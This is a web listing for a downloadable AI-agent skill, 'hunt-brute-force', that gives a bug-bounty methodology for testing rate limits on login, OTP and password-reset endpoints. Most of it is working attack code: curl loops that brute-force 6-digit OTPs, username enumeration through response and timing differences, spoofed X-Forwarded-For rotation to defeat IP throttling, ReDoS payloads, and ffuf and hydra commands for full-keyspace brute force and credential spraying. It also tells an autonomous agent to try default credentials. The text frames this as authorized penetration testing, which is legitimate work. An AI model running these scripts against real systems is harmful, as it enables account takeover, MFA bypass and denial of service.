技能 编程开发 速率限制暴力破解检测

速率限制暴力破解检测

v20260927
hunt-brute-force
安全技能,用于检测认证端点缺失或薄弱的速率限制。识别OTP、密码重置和登录系统中的暴力破解漏洞。仅用于授权的安全评估。包含影子节流检测和枚举技术。
获取技能
460 次下载
概览

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration

Grounding note: this skill is built from published technique classes, not from a curated set of named HackerOne reports. report_count is intentionally 0 — do not cite an exact payout or report ID you cannot verify. Where a public case is well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation research, 2019–2021), it is named below as a technique reference, not a payout claim.

Crown Jewel Targets

OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.

Highest-value chains:

  • OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on /verify-otp, full 000000–999999 keyspace reachable
  • Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
  • Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
  • Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
  • ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS

Autonomous Testing Priority

Work within your turn budget — prioritize signal over volume.

You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.

Strategy:

  1. Identify the login endpoint and the expected parameter names (username/email, password).
  2. Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation).
  3. After 3-5 failed attempts, check for rate-limit signals (429 status, "too many attempts" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability.
  4. Use form-encoding for traditional login forms, JSON for REST API login endpoints.

What to look for as success:

  • Session token or JWT in the response body or Set-Cookie header
  • Redirect to authenticated dashboard
  • Response body that differs from the failed-login baseline

Username enumeration (separate finding): Try a known-valid username vs a random one. If the error message differs ("Wrong password" vs "User not found") or response time differs → user enumeration vulnerability, even without a successful login.


CRITICAL: Four rate-limit states — do not collapse them

A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting skill that only checks for 429/lockout produces false negatives. Classify the defense BEFORE concluding, by sending a burst of ~50 requests and watching the full response (status, body, headers, latency, and downstream success):

State Signal Brute still feasible?
Hard account lockout account disabled after N fails; later correct creds also fail No (but lockout itself can be a DoS finding)
Soft IP throttle 429 / increasing latency keyed on source IP only Yes — bypass via header/IP rotation (Phase 4)
CAPTCHA injection 200 but body switches to a CAPTCHA challenge after N Maybe — check if the verify endpoint enforces it server-side or if the API path skips it
Silent shadow-throttle 200/401 returned for every request, but submissions are dropped — the genuinely-correct OTP/password stops being accepted, or responses become canned This is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false.

Shadow-throttle detector — inject a known-good value at a known position and confirm it still works under load:

# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.

Step-by-Step Hunting Methodology

Phase 1 — Login Rate Limit Test (classify, don't just count 429s)

# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)

Phase 2 — OTP / 2FA Brute Force

# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.

Phase 3 — Username / Email Enumeration (string AND status AND timing)

VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"

Phase 3b — Unthrottled registration (mass account creation)

An unrate-limited signup endpoint is an abuse finding on its own, not just an enumeration oracle: burst */signup/*/register (rotate email + source per request) and confirm N accounts are actually created with no 429/CAPTCHA/lockout → automated mass-account creation (spam, promo/referral abuse, resource exhaustion). Low–Medium standalone; higher when it chains to a paid/limited resource. Disclosed: reports/2915502.

Phase 4 — IP / Source Rotation Bypass

# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.

Phase 5 — Token Entropy (measure it, don't eyeball it)

# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
  curl -s -X POST "https://$TARGET/forgot-password" -d "email=your-test@email.com"
  # Extract token from the email/link and append to tokens.txt
  sleep 2
done

# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
  python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"

# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt

# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based

# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
#    < ~64 effective bits on a security token is a finding; the brute-window math follows.

Phase 6 — ReDoS Detection

# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
  INPUT=$(python3 -c "print('a'*$LEN + '!')")              # for (a+)+$  /  (a|a)*$ style regex
  T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
  echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.

Automation

# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
  -H "Content-Type: application/json" -H "Cookie: session=SESSION" \
  -d '{"otp": "FUZZ"}' \
  -w <(seq -f "%06g" 0 100) \
  -mc all -ac \
  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target

# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
#   seq -f "%06g" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.

# ---- hydra: login spray ----
hydra -l admin@target.com -P ~/wordlists/top-1000.txt "$TARGET" \
  http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4

# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical

Chain Table

Finding Chain to Impact
No effective rate limit on OTP (full 10^6 reachable) MFA bypass → ATO Critical
Password-reset code brute + IP rotation Reset → ATO (Instagram-2019 class) Critical
No rate limit on login + enumeration Credential stuffing with breach corpus High
IP bypass via X-Forwarded-For et al. Every per-IP limit on the app defeated High
Predictable / low-entropy reset token Token guess within validity window → ATO High
ReDoS on a public input field Single-request CPU exhaustion → DoS Medium–High
Hard lockout triggerable by attacker Targeted account DoS (lock victim out) Medium

Validation — false-positive discipline

Before writing the report, each must hold:

  • OTP/login "no rate limit": confirmed against ALL FOUR states — not just absence of 429. Shadow-throttle seed test passed (the known-good value still authenticates under burst load). Latency and body-size were monitored, not only status code.
  • Full-keyspace claim: severity is justified by the reachability math (throughput × code-lifetime vs 10^6), not by a 101-code probe. State the numbers in the report.
  • Enumeration: difference is reproducible across ≥20 samples and is a server-state difference (valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…" message is NOT enumeration). For timing, compare medians of many samples, never single requests.
  • IP-rotation bypass: proven by toggling rotation off and showing the 429 returns. The delta IS the proof; one fast run alone is not.
  • Token entropy: backed by an actual measurement (Burp Sequencer effective-bits, ent, or a demonstrated counter/timestamp structure), not "looks short".
  • ReDoS: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.
  • Scope/impact: did you reach a real outcome (authenticated session, leaked account list, DoS)? A rate-limit gap with no reachable impact is informational, not Medium.

Severity:

  • Effective brute of OTP/MFA/reset-code → demonstrated ATO path: Critical
  • No login rate limit + working credential-stuffing/IP-bypass: High
  • Predictable security token (measured low entropy): High
  • Username/email enumeration alone: Low–Medium
  • ReDoS with reproducible meaningful server lag: Medium–High
  • Attacker-triggerable hard lockout (account DoS): Medium

When to Use

  • You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
  • You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

  • Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
  • Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
  • Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

信息
Category 编程开发
Name hunt-brute-force
版本 v20260927
大小 19.23KB
更新时间 2026-09-28
语言